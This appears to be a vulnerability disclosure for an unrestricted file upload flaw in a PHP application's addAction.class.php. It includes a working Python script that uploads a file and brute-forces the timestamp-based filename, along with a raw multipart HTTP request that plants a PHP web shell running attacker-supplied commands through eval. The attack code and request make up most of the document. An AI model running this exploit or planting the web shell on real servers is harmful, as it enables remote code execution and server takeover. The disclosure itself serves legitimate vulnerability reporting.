There is a file upload getshell vulnerability in the background software/actions/addAction.class.php

[S2eTo]

File Path: LKT/webapp/modules/software/actions/addAction.class.php#L111

This method directly splices the unlimited extension in the file name into the file upload target file extension, and can upload the .php file getshell

But the file name is not sent to the page, but time() is used here to get the current time for splicing
As long as the blasting is carried out back through the current event, under normal circumstances, the number of blasting will not exceed three times
Below is the script I wrote in Python

import time
import socket
import requests

host = "127.0.0.1"
port = 80
client = socket.socket()
start = int(time.time())
client.connect((host, port))
file = open("FILE_UPLOAD_HTTP", "rb")
data = file.read()
client.send(data)
client.recv(65535)
client.close()
end = int(time.time())

now = end
coast = end - start

print(f"now: {now}")
def f(now):
    uri = f"http://{host}:{port}/LKT/zip/123123{now}..php"
    r = requests.get(uri)
    if r.status_code != 404:
        print(uri)
        exit()


time.sleep(1)
for i in range(0, coast + 1):
    f(now)
    now = now - 1

print("No!!!")

HTTP

POST /LKT/index.php?module=software&action=add&name=1&image=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 237
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGTdxAdrEarGLzRWy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: admin_mojavi=23bgar1r1bq43q0ro3plbrj148; XDEBUG_SESSION=18445
Connection: close

------WebKitFormBoundaryGTdxAdrEarGLzRWy
Content-Disposition: form-data; name="edition_url"; filename="123123.php"
Content-Type: image/php

<?php
var_dump($_POST);
@eval($_POST["cmd"]);
?>
------WebKitFormBoundaryGTdxAdrEarGLzRWy